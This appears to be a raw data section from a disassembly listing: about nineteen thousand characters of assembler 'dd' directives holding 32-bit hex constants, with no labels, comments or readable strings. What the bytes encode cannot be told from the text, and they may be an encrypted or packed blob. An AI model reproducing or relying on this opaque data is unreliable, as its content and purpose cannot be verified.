		dd 39018631h, 9B1CA93Ch, 33C527B0h, 0DAACD4h, 2B9A120Ch
		dd 0C479C022h, 8800FD72h, 50A92715h, 12E4Ah, 927F9EB2h
		dd 0FFFDE352h, 0C1006073h, 685EE5D1h, 2F0B1A59h, 9D7E1DA5h
		dd 96EE5300h, 37AF94Eh,	6543F0ABh, 1800972Bh, 2F37B3A6h
		dd 40C1BFh, 0FE6F1AE4h,	0A407CF7Fh, 0AE98F500h,	35593A30h
		dd 1F10002Eh, 4AA05023h, 2F03B1E4h, 0EA46CB1Dh,	1E88F871h
		dd 64540304h, 507843D9h, 0EBA192A0h, 8C3BAB3Ah,	0C003F9C2h
		dd 8E4903F1h, 8430C989h, 37AAB0C0h, 250026FCh, 9F4294A9h
		dd 24B390h, 0BDE0B622h,	0D06AEADh, 80607039h, 5A63E879h
		dd 886D2Eh, 4E0E30B2h, 0E012AB3Ah, 83F0ED3Fh, 1864E4F2h
		dd 3625CF67h, 0E5F5EB00h, 17BEBC1h, 5ADD6A19h, 0E4F33831h
		dd 9400F046h, 24BE7658h, 0FACF79h, 0EC68E5C5h, 5603AF59h
		dd 4F8EFE18h, 4C362C0h,	7396D2E8h, 38F0C699h, 1CB31604h
		dd 8F806DEBh, 5B7FA6h, 8D8E9A83h, 0C623DDDBh, 0F7D64E03h
		dd 900E5F64h, 37471393h, 0F3FA73FBh, 90CCF055h,	0E911BF08h
		dd 12FD500h, 0E5A9E7C2h, 57FF0762h, 20436DDBh, 52C45D32h
		dd 60C19300h, 0B430DC6Bh, 97DF0018h, 4C783E10h,	0C400EF48h
		dd 671E6FE2h, 2462F43Ch, 16C54A9h, 2D2532C6h, 8C3BCCA8h
		dd 0C190F8EAh, 0A07E5000h, 0B92018A2h, 23A4007Bh, 9F924C13h
		dd 8C0F8139h, 400B8499h, 95B72F26h, 731D1634h, 0D3FD009Ah
		dd 0C07FDBA2h, 906CB0A0h, 58228100h, 0BEAC24FDh, 0DB52004Ch
		dd 5ECDDEEBh, 0E1008719h, 1AAE73D8h, 3580A3h, 8EAC611h
		dd 0EEFE4D3Dh, 66E64200h, 55EC6434h, 32B80933h,	6000259Ah
		dd 0AA587B9Dh, 0DA191A00h, 6AEAC857h, 854000E5h, 55DB0BFEh
		dd 37078660h, 74091975h, 0AAA66A10h, 57960033h,	3D04D876h
		dd 0F12807EBh, 3714D485h, 90F329h, 86DC899Ch, 0F52E427h
		dd 194D707Ch, 0CA161C80h, 5C0A8AD6h, 0D44614A8h, 0E46B4380h
		dd 70A044Ah, 864E3B12h,	21D1D6A6h, 60F4C800h, 7728AEDAh
		dd 69F00E20h, 6180687Bh, 1149957Dh, 0BBB7CD00h,	6C564B96h
		dd 0DAF500C0h, 0ABE39AD4h, 230C3C1Fh, 50BE74ADh, 4262044Eh
		dd 803EB348h, 0CA0E0F8Fh, 58245D7Bh, 6D0A2885h,	0EB00C840h
		dd 0C353D465h, 8F68003Dh, 1B9C805Fh, 0E51E76ABh, 0C6C03826h
		dd 963E2E2Bh, 0B1DDDDh,	0B632187Dh, 160026CFh, 8604B149h
		dd 946ED3Ch, 7C372DB0h,	11F700FDh, 3D0A2830h, 0B4802071h
		dd 0B6137EF9h, 1200B5D8h, 0A969CB04h, 2F3464h, 14A732C1h
		dd 0C7528E9Ch, 82007C90h, 4E56DF70h, 0F9CCFFh, 33FCD3CFh
		dd 3B03F4DEh, 0AF24A300h, 57D0656Fh, 41DB01E9h,	0B932AB2Fh
		dd 0E6B6DC1Eh, 0C5A00F1Ch, 5039F943h, 0FA5EF09Ch, 31C70038h
		dd 6DB30687h, 0A100776Bh, 0EB7075BCh, 1EF9DCB8h, 40C73C55h
		dd 938C53E3h, 15043004h, 5F2D328Eh, 0A7A9F3C0h,	3480F51Ah
		dd 0FC65D292h, 0E1D88E4h, 80BA7B04h, 17F2160Ah,	60CB12D9h
		dd 69676190h, 200007D4h, 0AB033C93h, 0F77357h, 64447955h
		dd 98D872EBh, 0AE9C9900h, 34493124h, 85AF3AA4h,	6A947A80h
		dd 611D7E64h, 69287000h, 12545EEFh, 10F0717h, 4A7B3D2h
		dd 55588152h, 9008C0BFh, 930A5A78h, 0C8C288A8h,	0FED0F180h
		dd 78BA2EFh, 67036D90h,	637380DFh, 3E0436BFh, 82A37C16h
		dd 0A7FDE0C1h, 0FF80A5C7h, 849D0Dh, 76E8E4D5h, 2A25CEC6h
		dd 1509D0DDh, 9B9480F0h, 2868ECh, 0D5D999Ch, 0F8361703h
		dd 8F29E000h, 4083A0B2h, 0B0D4611Fh, 85797Fh, 586F84h
		dd 0F689EC35h, 0B426FB77h
		dd 0FD123800h, 2B1A5BDBh, 146012B6h, 0BAF80B6Fh, 0A3F9020h
		dd 0DC987AEDh, 81D3F0EFh, 0CDE82A0Fh, 9A16B70Eh, 0F5151F0h
		dd 1C438AB6h, 9080D689h, 194E22DDh, 0ACE2CA00h,	0E03703DEh
		dd 60B5607Fh, 86331F78h, 87038370h, 7A21321Ch, 7D6800A5h
		dd 0A82478FBh, 9090C3ABh, 0F5FC6000h, 34D08975h, 4BC80002h
		dd 0F938DDBBh, 931380E3h, 0EC4A0EAEh, 0CEF0C887h, 0CAAD0170h
		dd 0B521BB10h, 0E7CFD8BEh, 89FADE14h, 0A3700C4h, 0ED6DE2C2h
		dd 18E5006Ch, 6486505Bh, 0B92EF8CEh, 0E14B215h,	8FBF00CCh
		dd 0FA01F971h, 0FD4727C7h, 700C2A76h, 0B4200Fh,	0A8484579h
		dd 0EEDD181Dh, 3A271B00h, 95261ED2h, 0DAA307B8h, 9043A292h
		dd 1CDE3EAAh, 745D3801h, 0D717C4F8h, 3B133CC0h,	100A63Bh
		dd 0E94166CDh, 5800F572h, 2D09EC18h, 73BB5h, 0ED6293A0h
		dd 177FD66Dh, 0DC0030B8h, 771B0F28h, 2EE4A23Bh,	9023B5h
		dd 72D4834Bh, 0EE038088h, 94FA5767h, 1A1CF054h,	0F98F813h
		dd 41BFEB69h, 18808E4Bh, 9F654982h, 531B300h, 6183D375h
		dd 8D663F9Ah, 54B79700h, 0B038B53Eh, 0D71D4CF4h, 0FBC7889Ch
		dd 4930C28Dh, 1C1EE4C4h, 0D457F6h, 0DB89B04h, 0E1E39B9h
		dd 0F2EE93BAh, 1D795A00h, 0B625F6Fh, 0AE6EF010h, 1453A420h
		dd 0CB00B0D4h, 0B68BBB23h, 4A7EADACh, 0C09EF12Eh, 0F89AF7E2h
		dd 6EB5ED07h, 0BBF11C7Ch, 23D493CEh, 90260332h,	0C0513D0Dh
		dd 20772B99h, 1E046B1Ch, 0BEB0DAE2h, 4A832490h,	45F73D01h
		dd 3D59C0Eh, 0D489A00Ch, 3D14CD50h, 5F01F207h, 4B418A3Ah
		dd 188BA008h, 0B980EA3Bh, 42EF9867h, 0DFCD0207h, 0DE20DC59h
		dd 0F5405BCh, 251A5160h, 0D50220A3h, 0C33B9D0h,	0DA2A3C15h
		dd 0F72E1D4Ch, 4B4CC21Eh, 0C03B798Eh, 0FE716070h, 110A07A2h
		dd 4CB7D4A9h, 192A500h,	3E023050h, 0E61FCBA0h, 479000ACh
		dd 6FA8421Bh, 0AABBFB1Ch, 0B1F6B340h, 0D3B903h,	4920A540h
		dd 2716FE5Ch, 80C1361Eh, 0BE437E00h, 1F054DF7h,	0CED70607h
		dd 0D4601509h, 0C7E2146Bh, 90575300h, 81548925h, 716C00ACh
		dd 404377D1h, 0FA0027B1h, 0F55A9A4Dh, 111DEDh, 0A8815B0Dh
		dd 0EB5D7D3Bh, 200F279h, 0B9496056h, 7ABDC6h, 0E93C01F7h
		dd 16D41A75h, 0D8226301h, 0E60338EAh, 96CCA06Bh, 0DFEE100Eh
		dd 0D35600Fh, 0F6D41E5h, 175BA104h, 0D5121520h,	420348B1h
		dd 11133EA2h, 18AEF0D2h, 0DDE2009Dh, 0F27B3645h, 0C3045751h
		dd 0DE4DF337h, 50353C88h, 69CA950h, 0D4C2117Fh,	0C5D0837h
		dd 586A0060h, 0AAB729F0h, 0DAF40378h, 0D49AED49h, 0E004CEEh
		dd 5558BFC8h, 0B2C15D25h, 0C6E626C4h, 0D97F0011h, 6147B117h
		dd 21F208CCh, 0B4DE0081h, 4298791Fh, 0A006DD09h, 1C0F3FA9h
		dd 0DF263050h, 0F1965C80h, 8C43FD03h, 0C35DEFh,	0C797C641h
		dd 0FE713A5h, 0D3D95C64h, 0AFA85A63h, 448C2F9Ch, 22001418h
		dd 86A44F0h, 398ED6D3h,	8C81666h, 5D31E40Eh, 0B9242883h
		dd 4A90F7E0h, 4329F605h, 380115F4h, 1D1873A5h, 0BB961093h
		dd 2DF43200h, 0E704Eh, 0D674DBD9h, 8CACAECDh, 0E25B2B00h
		dd 0A63C1263h, 0CB1500C0h, 0D9C9FF9Eh, 1372D2EFh, 2462D816h
		dd 0E810E300h, 0F492B31h, 1C5CDBC1h, 5AC0E460h,	0E07AA13h
		dd 51A0F45h, 4BDE7487h,	1F7C8172h, 95E8168Eh, 0AB730754h
		dd 50826064h, 7786BD3Dh, 8E48CC3Eh, 0A7B9F7A6h,	0C4C7B236h
		dd 0A5CD0660h, 937C006Dh, 81C5D79h, 0FE3F32F3h,	0D27D0138h
		dd 5A4D78B0h, 20EC8h, 0D45A937h, 467B7F27h, 7E1CDC73h
		dd 7040DB4Bh, 0F4C3D521h, 0C4D90032h, 0EA5A33F7h, 0F8F64F99h
		dd 9D39830h, 3FDEE565h,	0FA7062h, 0B636BE19h, 48A461A1h
		dd 3844B400h, 67070820h, 5BD00ADh, 3ABE0666h, 0EC00DF4Eh
		dd 3FC01DA2h, 3426113h,	0A3A8D168h, 25D0B3A6h, 5107E949h
		dd 39803881h, 63800B94h, 0B2B59Ah, 0E80A7243h, 0A35362F5h
		dd 778ECD00h, 3D81A9B6h, 0D0BE1D15h, 5138102h, 0F4719D2Ch
		dd 0F90E2123h, 0C050D4F3h, 0AD554614h, 67680157h, 6E10DA07h
		dd 0C6F240B0h, 1501B8F5h, 0DFA23AA9h, 0B5D8078Fh, 225500D1h
		dd 8B194883h, 270E89F1h, 80FBE775h, 9B0D4416h, 45711862h
		dd 0A979BEAEh, 0BCAFB900h, 0E544232Ch, 313CB804h, 9E48481Ah
		dd 0E9AC2103h, 61E7F1ECh, 4800DF2Dh, 92E16281h,	50285920h
		dd 0E68EB33Fh, 8487004Ch, 321E128Dh, 0AA388346h, 64DD80A2h
		dd 21FB1C24h, 0D1A31F69h, 80EDC013h, 2A60AABAh,	34D5A71Ch
		dd 15122600h, 0D3329Eh,	0D4E8DB5Ah, 3BFCAC5h, 3ACBA217h
		dd 537C301h, 0F18246D0h, 34E3EC2Dh, 6060DEE1h, 810059DDh
		dd 0D95B160Bh, 0F4765718h, 0E5DD009Fh, 21A1F4BCh, 0D860BA5Ch
		dd 0E392BD60h, 0D32500D2h, 76C29B42h, 0C1788CFAh, 5101CB00h
		dd 0D1818BFEh, 243F007Fh, 58610427h, 23F18C5h, 0BB4D03A6h
		dd 0D333F0D0h, 6E0DD80Eh, 3CB50017h, 19CB859Ch,	21000C3Dh
		dd 8795F62Ah, 11EC2D1h,	7C3671F9h, 0E0345912h, 99183B2Fh
		dd 0D599D225h, 0E070E4CAh, 0DCF3079Eh, 406BD073h, 905A2374h
		dd 3C4EC400h, 917B8DB8h, 1181DCDEh, 48DF0039h, 0CC7CF5CAh
		dd 0F84D004Ch, 62D4A72Eh, 1B3DA9B7h, 835C3A23h,	0A6FE3313h
		dd 429CA8AFh, 0E457BD6h, 0AD0A2D36h, 662C814h, 0C48DEB5h
		dd 0B4111E49h, 790288C2h, 3CBA5D41h, 4557A898h,	48C289C3h
		dd 0CF7D98CBh, 725F074Ch, 502A43DFh, 0EDD5802Bh, 0FCF2A90Eh
		dd 2D28E0A5h, 1592151h,	79FB6E40h, 60E4BDCAh, 0A40013B6h
		dd 78221735h, 2CCE75Dh,	0CB9AC074h, 0CCC07941h,	9E00A7E9h
		dd 99B95F28h, 5E2186h, 266BFEBBh, 7FBE313Ch, 99F6F00h
		dd 2D3ADB5Dh, 0B9301E60h, 0FAF9014Bh, 0F8123B76h, 60C07E77h
		dd 0E9463E4Dh, 47220091h, 6DDD4AFAh, 74005554h,	0E0B06652h
		dd 7CDE82h, 0D42AD53Eh,	18F1465Bh, 0F6D3D000h, 8E6B42E3h
		dd 8697001Bh, 41AAB31h,	8400EADBh, 0E32FFE03h, 3EF2212Ch
		dd 12824615h, 17703658h, 68C7B448h, 645FAD01h, 0EC62145Dh
		dd 0AA97C050h, 0E84400BEh, 33BDCB55h, 0AFFEDED4h, 2A840701h
		dd 4CC08A9Bh, 0FA801E21h, 0D2FFC1BEh, 0CC00C644h, 4F0B9B10h
		dd 38049F83h, 0F30184A4h, 29A5AB80h, 3195602Fh,	5BED3E04h
		dd 0BC90BBFAh, 60A8340Eh, 0C1DD49F3h, 0F8034296h, 196E9145h
		dd 0E0B8E848h, 1E9EA20h, 77D7EF78h, 0D860F9C6h,	4C095595h
		dd 80875EDFh, 0EE025F85h, 8A8600C3h, 6B4EBD17h,	5226AA72h
		dd 6E01302Ah, 53E42A5h,	0D69DF8h, 0C326037Bh, 5B0283FEh
		dd 2B135E01h, 0EC86408h, 17AFAC30h, 1C792635h, 4D7EC078h
		dd 7DC32CCAh, 0CB011490h, 0B0BFA905h, 0D8304310h, 9112268Fh
		dd 1F92003Ch, 5907D488h, 0EA6AE912h, 171C9000h,	0B6BD25h
		dd 3A9FB8AAh, 434AFE40h, 2A65C600h, 4D7AE919h, 0B2CB0088h
		dd 1FB9440Bh, 58DD21ABh, 8034DE44h, 58B38880h, 407A764Ch
		dd 2C01E50Ah, 0DEC8B1BEh, 71800457h, 0E92B330Bh, 3F004274h
		dd 5A6FFB0Dh, 587AC7C4h, 3200D998h, 37450205h, 0EC14C627h
		dd 39ABB3E1h, 80F0E947h, 67C382D2h, 2CA40708h, 0F00AE344h
		dd 0BB38E773h, 163FDCA0h, 0BCDF5903h, 0E88BADA5h, 0E8DD98h
		dd 1B87ED8h, 0C0FE70B9h, 8600057Ch, 0A99A5653h,	0C065DB4Ah
		dd 0EE0E3940h, 4301A0C8h, 0F245A2E8h, 6F94FC5h,	12FD8CD4h
		dd 13CF1C14h, 0A836019Bh, 0DC842054h, 2F3C245Bh, 0C0F0265Dh
		dd 35C40F00h, 0D7B71Ah
		dd 443DCE42h, 0F5EB5A81h, 0C5B09C00h, 7079EF2Dh, 8B343C97h
		dd 40A8571Eh, 0FBEADA30h, 7B795616h, 0A0694500h, 549FA995h
		dd 63A12829h, 0A65500A8h, 72D1D856h, 0C900C8DAh, 67D990BDh
		dd 78377817h, 958A0032h, 10914030h, 9C504D64h, 6939CCBCh
		dd 0F5E481F9h, 8B926765h, 5EE8F340h, 0B8847ED7h, 0B3F420h
		dd 48BDF5BAh, 82924115h, 6B694603h, 0B85AD090h,	7E7521h
		dd 7918EB01h, 0C21E63E9h, 80D6E13Ah, 96E35CFDh,	4DAD0D1Bh
		dd 81001014h, 0F7A1566Fh, 0BB000623h, 8EACEFFh,	0D624F2h
		dd 0D1E44264h, 0EDFB7161h, 6FAFDE04h, 0B4D043C1h, 2CD99F0h
		dd 705AE6D9h, 8E09B6Ah,	40B0C39Fh, 9A590600h, 84A849B3h
		dd 3CC00E6h, 754E0580h,	0E500FF3Eh, 7823CBEDh, 14A534Ch
		dd 496210A9h, 8006AEF5h, 590A4460h, 0C031C33Dh,	299405Eh
		dd 0D90CFDDFh, 8978E8EFh, 4320D6C5h, 580BE538h,	0D1BD23Ah
		dd 180A7985h, 10817BE1h, 79E3311h, 0B82093F1h, 0A21CF303h
		dd 6240030Dh, 6C5720Ah,	0C6812A2h, 3E00C3CAh, 9970856Ah
		dd 7F7CD2EDh, 13723110h, 88396B0h, 0CC6FB08Ah, 97B18439h
		dd 853938C1h, 10538B63h, 58384028h, 4D110E57h, 0EE2E5D92h
		dd 0B0F82E87h, 9DEF7977h, 124C5907h, 0B7F04643h, 77E3CB0h
		dd 747BD0D9h, 5F5E23C8h, 9EB6E1C0h, 4882C703h, 0D8F2DAD7h
		dd 0D4D15Ch, 11C3422Dh,	60DB96B9h, 35B86E00h, 240D7E44h
		dd 494005Eh, 3DF05CF5h,	6009B66h, 527A214Ah, 80793F57h
		dd 7201AEB1h, 0B9A3B09Eh, 0E820A433h, 0DDB6002Dh, 0B3AA3187h
		dd 0D5002A86h, 1816973Ah, 0C0109A2Eh, 28021A09h, 350063BCh
		dd 52BE3B37h, 1EC184F3h, 4007F445h, 6456EAD8h, 22097515h
		dd 8A546E65h, 6B0080E0h, 2D5A3903h, 0DEAB00A8h,	7B70C95Ch
		dd 15B836F4h, 5FC425h, 5DF65830h, 480A3011h, 0FFAC1D10h
		dd 2DE02E1Ch, 371EF5C0h, 24360B22h, 4CA6BBh, 0DF2F52C6h
		dd 0E424E8C3h, 16005B87h, 430F204Eh, 25A02F8h, 3DEA6917h
		dd 1995FC60h, 0F267EE03h, 9FD9ACC1h, 4AAD5AD0h,	68F758C4h
		dd 2B2E7860h, 5F033526h, 951BAEF9h, 59DE8B4h, 3088040Bh
		dd 0C0C38975h, 0FEDA6A1Ch, 51FA0A05h, 1485C532h, 0F65A6C40h
		dd 1416AD0h, 694E592Fh,	742DBA42h, 901E1CA8h, 0FE174430h
		dd 453DC404h, 0DC38705Fh, 5F20214Fh, 0DA3C0F42h, 8CD58B57h
		dd 0CBB21B00h, 71CD26C5h, 8024FA3Ch, 524BEBC3h,	65AA07Bh
		dd 5C207350h, 1E007111h, 95F40E2Ch, 4C9C6EFEh, 38002B3Ah
		dd 1DE51632h, 2905BFA3h, 2F1A3BBDh, 52643880h, 417060C3h
		dd 3E6E8F7Fh, 0F85571Dh, 5C1DF580h, 9D26222Eh, 68C31CE0h
		dd 5BB7D202h, 50608B7Ch, 0D57E1030h, 80A1210Ah,	90EDE858h
		dd 3807AD1Ah, 930BC868h, 813B8007h, 0A2C327Bh, 48D257FCh
		dd 5200A89Ah, 618C2810h, 0A200E97Eh, 5EC80365h,	0E53DC90h
		dd 0F44778FFh, 0F7A0794Eh, 42F0FC56h, 8E843800h, 36393BBBh
		dd 0A4090064h, 66F8E63Eh, 4C07FD7Ch, 0F4983C43h, 0E899D6h
		dd 8A859476h, 87861FA6h, 58E12413h, 93561047h, 0C029A4B2h
		dd 148A3D4h, 0D65D1A7Dh, 4025EE5Ah, 0CC4308DCh,	0A48C4C00h
		dd 360C2EB4h, 45800FDh,	0CF28AFE2h, 0A100DD4Fh,	2E91C740h
		dd 4E9AC4h, 48CEF9FCh, 7A78C026h, 288B249h, 0CD3F3935h
		dd 26CC0DAh, 0AF280089h, 5A1169BCh, 3700D1C9h, 42FFD6E6h
		dd 7F23AE3Ah, 0A03F047Dh, 0A0A1684Bh, 0C49682B8h, 19D82080h
		dd 0CE7756h, 0EC59D076h, 761880Eh, 0FFE5ECC0h, 0EC6F55E4h
		dd 0D1A1A58h, 0CC1887Ah, 0E49ECC3h, 0AC28BC1Eh,	48FDE140h
		dd 1D6B5688h, 832270h, 0E8BD1B3Eh, 7707BC9Ch, 0EA0CBEBh
		dd 0EDF3F1E0h, 323603F9h, 8444F456h, 8CAD00B7h,	7505AAAEh
		dd 7ECC5562h, 0F9416980h, 7090E0h, 0C72B04C4h, 44CEA05Eh
		dd 9D868004h, 6080DFA1h, 0D9DA56h, 52579870h, 37C4D76Dh
		dd 9972A703h, 76F89Ah, 0EF053640h, 7DACE0EDh, 0C54C6704h
		dd 6E80BC5Dh, 155AB07h,	0E5A6DB8Dh, 401D215Eh, 9FA86494h
		dd 627BFB00h, 1960D898h, 52F50035h, 0A679BBC0h,	6BE6AA90h
		dd 8F056424h, 0ABBDCB00h, 0D55D7Eh, 0E4DEFB77h,	8AB86307h
		dd 9F140F00h, 3B2944D7h, 0D63F0012h, 0FA278699h, 0E60018D0h
		dd 0B9906A6Fh, 62B7A8B1h, 5E4B2178h, 0E61A1B40h, 0F53CB50Ch
		dd 33E8815h, 0A0F2F6C2h, 33B065DAh, 2D00189Fh, 58176196h
		dd 1CAAAF26h, 0C1805BD1h, 21CF3B78h, 0D0303514h, 290CA9DCh
		dd 68DACA37h, 77DF1FF8h, 0BA6880B9h, 9C7F195Eh,	23008CBAh
		dd 9BC2185Bh, 3EDB56DAh, 0E924BC15h, 0D7C8750h,	0F64BB25Ch
		dd 91AFECE0h, 466B7000h, 7CDE5FF0h, 0CD091F2Ah,	3130B016h
		dd 0E7249620h, 0D78348A5h, 0FD480846h, 0AE29E90Fh, 0F836076h
		dd 31211Dh, 0B6EB9FFh, 0A3E716Ah, 1DB46D26h, 96AAAC00h
		dd 0E0C5814Ah, 0C67422h, 6E551C84h, 0C9908675h,	0E77C4Ch
		dd 0D9D3B8E8h, 75131B2h, 2CE13659h, 0C480BFA9h,	4AE59BA6h
		dd 0FACD7C00h, 0B96F952h, 687D0070h, 4915F8D8h,	97709171h
		dd 0F6A6F000h, 51E2AF01h, 54F9033Fh, 78BF8B31h,	232552B8h
		dd 0B4F31100h, 0A0FB94CCh, 0B95F000Ah, 0FE32107Dh, 2C1204E8h
		dd 86007555h, 884EC253h, 0A69836h, 0CD82F23Bh, 639790E7h
		dd 49EDD801h, 0A707B044h, 82E85083h, 2000F7BFh,	78AF9B2Eh
		dd 25F908h, 13CC8A1Ch, 0A3B30FC5h, 2700C079h, 828BAB20h
		dd 7CDC0204h, 0F172098Ah, 7585F2E6h, 421EC088h,	8B00D19Fh
		dd 0F3EB21DAh, 386E9Eh,	905B2EDBh, 0D8A48464h, 860CF0Eh
		dd 59CB609Ch, 0C7BBDCh,	0A41A386h, 0ADC339FFh, 0F6EC2101h
		dd 0B9A430A9h, 397E33D8h, 8807A2Fh, 4A16B368h, 0BF000CD5h
		dd 532605C0h, 0E31B27h,	0AB6FCD83h, 0C158EC6h, 3BEFE400h
		dd 0BFF99196h, 0A4A903C5h, 97B2B8BCh, 45554FF8h, 0B7126E0Fh
		dd 0E4CF471Eh, 0D5EE9A50h, 18C40B42h, 35805B86h, 0C4CB899h
		dd 0C14F2700h, 4A4632FEh, 435E00C0h, 9275AB38h,	0A2001947h
		dd 8D780C2h, 0AD9C94h, 0E30D36B5h, 0DF951D8Ch, 0DEEF8B00h
		dd 2A6F06B0h, 1AD50072h, 441C016Eh, 5AB0965Dh, 0AB1F8103h
		dd 0D0402868h, 0D01E0Eh, 5E43BBC6h, 9DF02F03h, 0DAD27100h
		dd 4E750DB5h, 0E6420053h, 1DD5FD3Eh, 4879DEB9h,	0E5CD98C3h
		dd 4C80A504h, 1D2830BBh, 1D50819Eh, 498C0692h, 4C212846h
		dd 21A0912Eh, 0E07C6068h, 470CC7A0h, 8D50724h, 297AEAh
		dd 0E87737E7h, 0C24A83F9h, 0FF001B78h, 0C3EE4D4Fh, 79D23DABh
		dd 0F7EC003Bh, 3833BCCDh, 0F930A034h, 0B20F307Fh, 0BD0A00D9h
		dd 43949F45h, 791E872Ch, 7C807F55h, 27D5A0ECh, 6D61F924h
		dd 23705801h, 0A08030C1h, 0BA243FD5h, 13614A0Ch, 0E0B99AE8h
		dd 7F8848h, 0CB0A2437h,	17A40407h, 114B3Eh, 25BEBB52h
		dd 3F466Eh, 0F6E37FE0h,	244CB71Dh, 650141FAh, 9BEB6A36h
		dd 8CF01FC4h, 0B98907F0h, 31850780h, 0FCD8EA22h, 3C6DE73Ah
		dd 40E7098h, 0E103D306h, 6204112Fh, 0D6EE74E7h,	0D5536180h
		dd 75050040h, 94B2CEB9h, 771EB764h, 45C0E9BFh, 764CA11Bh
		dd 0C11E0001h, 49823C56h, 55029442h, 0EC878B1Ch, 0CAE890C4h
		dd 5B710085h, 0E1B805F0h, 0A500A637h, 7EF4749h,	31DD7B24h
		dd 0AB206031h, 0EE68D4F8h, 0CFA420A7h, 0C3022021h, 0C055A70Fh
		dd 63674E31h, 0CD38046h, 81C9B9A1h, 7543F2B1h, 80504BA3h
		dd 2EFF952Ch, 60DD509h
		dd 887CD9Fh, 0A321646Fh, 9821FF8Dh, 0E85F588h, 1E0BC4E6h
		dd 1F0343A1h, 84299FC8h, 5995B506h, 0D3FF0AA0h,	83B42C3Eh
		dd 24D5B981h, 48538019h, 9016F438h, 93126F46h, 9F680AFFh
		dd 40604448h, 56FF8B0Bh, 7ABF0068h, 0C57549B6h,	8803D345h
		dd 0EA1CAB66h, 5879003Fh, 819B8B13h, 46332860h,	3509B9h
		dd 8BFB7821h, 8C4EE313h, 8F82AD00h, 0FC3865B2h,	0C039E474h
		dd 0DE712328h, 3FECD125h, 44C94819h, 24245F08h,	0DE691E82h
		dd 0B626C050h, 0FB799139h, 38641B0Ah, 7D4024F0h, 46D121DEh
		dd 54226Ch, 0A7DE7586h,	83883C29h, 0E1099170h, 38FAC9h
		dd 0EA038F2Ch, 0FC6B029Dh, 0B9E5B5E3h, 0A101AC42h, 0E8D1362Ah
		dd 0EF1F2E41h, 68CAA05h, 60F1382Dh, 0E0BCF107h,	2407A6F2h
		dd 0AEDF324Ah, 85CE77A0h, 0E40539FFh, 0B6D30B02h, 20404B6Dh
		dd 9C53AB99h, 3060A288h, 0BC2425CAh, 0EA0018F3h, 0FDC6D50Ah
		dd 124C9259h, 0F4F4DB1h, 11868608h, 6F0218A3h, 7F25FF23h
		dd 0B98CE373h, 1430CD4Ch, 130C071Eh, 4ED30148h,	2E89D1A3h
		dd 0C2E64002h, 90FF7DEAh, 127F3364h, 40A2E113h,	0ECDC6ECh
		dd 0D1622040h, 441828h,	0E0934C25h, 44B9F44h, 0C470BB24h
		dd 2C6CC308h, 21540930h, 2BB1C6Bh, 0A57D41BFh, 98821E50h
		dd 0E10347FDh, 0F329003Dh, 0A1219609h, 0D31225F7h, 74E05C2Eh
		dd 50477364h, 408588A4h, 0C810394Dh, 0F23A23DDh, 7FAA6605h
		dd 551000D6h, 6F920D04h, 8EC9E21Dh, 50E3ECA8h, 6D8510B8h
		dd 6C91BC92h, 50740B06h, 495F0021h, 1D4F7104h, 6204EC54h
		dd 51D23A73h, 0F5BD2A41h, 0C1C2033h, 6B492790h,	0FF6780C8h
		dd 8C7FD50Bh, 0F4076144h, 0D49212FFh, 6A3900BFh, 0CE6873C6h
		dd 0B7139AF4h, 9804959Bh, 58432C4Dh, 0A9046984h, 61D6D3FDh
		dd 0B6760C90h, 782649C9h, 0A9BD3106h, 0FF309848h, 0EA4C71ABh
		dd 0C3E9C00Dh, 49D18146h, 194ECE1Dh, 9B453183h,	0AE48102Bh
		dd 119F0201h, 40E3D306h, 8042913Ch, 0A954BECBh,	3A1338B0h
		dd 1C41C6C9h, 47358511h, 4DF1788Fh, 28A12D86h, 0B9C3B898h
		dd 0D9BD3C8Ah, 686447A4h, 0D4CA07DFh, 81E91D54h, 0C56822DDh
		dd 505361B6h, 6F877090h, 119CD34Ch, 0D52A4CC3h,	621A00A8h
		dd 19D38186h, 0ACF40699h, 80E47D49h, 0CBDF6C9h,	0B8713BBCh
		dd 96919C8Fh, 7881599Ah, 0DC9328D2h, 752AFB58h,	0DB009852h
		dd 0A5486337h, 0D9E179h, 66EDD6F2h, 3107A423h, 34810E2Eh
		dd 4D0AC901h, 0B8EC2DD7h, 23232D1h, 0E481D978h,	0F103939Ch
		dd 75B98D4Eh, 6120614Ah, 10590072h, 9B4436CEh, 0C92C65A9h
		dd 0D182886Ah, 8132F9DDh, 624825A8h, 7B009423h,	0FA17460Eh
		dd 0E277C7D5h, 8E100800h, 65F94D98h, 1209822h, 0CCF40DF3h
		dd 219EE92Bh, 0C520CE20h, 0F04C27Bh, 7EFBF13Fh,	1E080773h
		dd 0D5486152h, 3A2024C9h, 46D122h, 1037AA09h, 0BE7C1370h
		dd 5DDC2002h, 81DDC321h, 46D93618h, 0FBC009CFh,	48806890h
		dd 10CD38C8h, 80C1ACE2h, 292DD187h, 90D82821h, 184B6124h
		dd 0E0C11F98h, 8B89966h, 41757898h, 4C10CB80h, 0A1233C20h
		dd 72BB1E00h, 8627F8C4h, 613144h, 0DBE7BB16h, 29B5C32Ah
		dd 1FF85F48h, 66C447E2h, 0D4CEE824h, 67C05688h,	99F7B10h
		dd 0AC9977EDh, 43D5C802h, 0F218700h, 1CE25D64h,	68096A23h
		dd 77EC84FFh, 88570CD8h, 0FF1CA006h, 0EF02D741h, 0C14E07C5h
		dd 91816D0h, 81698B08h,	0F17A7010h, 78DB8B00h, 2D7D922Ch
		dd 0C30600B8h, 0F9F2EF85h, 0D5729005h, 88A84EE1h, 0D3B9C054h
		dd 0C3266CA7h, 91FE4DBh, 0E3BF1EE0h, 69D5C534h,	9FB4314Bh
		dd 0F0C9711Bh, 18D35A9Dh, 0FB0C4804h, 6170B080h, 44509802h
		dd 6C7F8A06h, 0DED9A402h, 0E07C142Eh, 9447C6C8h, 38E10C70h
		dd 6700BD91h, 2BA92D8Eh, 41B74Dh, 21E12A5h, 6381ECD3h
		dd 0DDCA5004h, 50843059h, 30247085h, 29B1FCC1h,	0C8B9199Eh
		dd 7B008239h, 0AEC0BE43h, 9A4024E4h, 0FDF90258h, 84C1A118h
		dd 58142865h, 5B1510D0h, 9863DD0Ch, 99670478h, 0FC402008h
		dd 266E9216h, 45C4C63Ah, 0E3BEC758h, 22B02ABCh,	0E7ED769Ah
		dd 0BB0721EEh, 0A1FD8631h, 7DE4F800h, 0EA6500F0h, 7C7BE204h
		dd 352E7051h, 391AE27Fh, 1D108488h, 9A8B1460h, 11F88123h
		dd 0FC790031h, 6C396A8Bh, 214B029Ah, 5E8AD9B6h,	0B4EA8084h
		dd 3B60384Ch, 0D3F16808h, 0B6722421h, 7700BA08h, 0BE0138C4h
		dd 0C563D579h, 52A319h,	32518EE9h, 3506DD58h, 0B794D814h
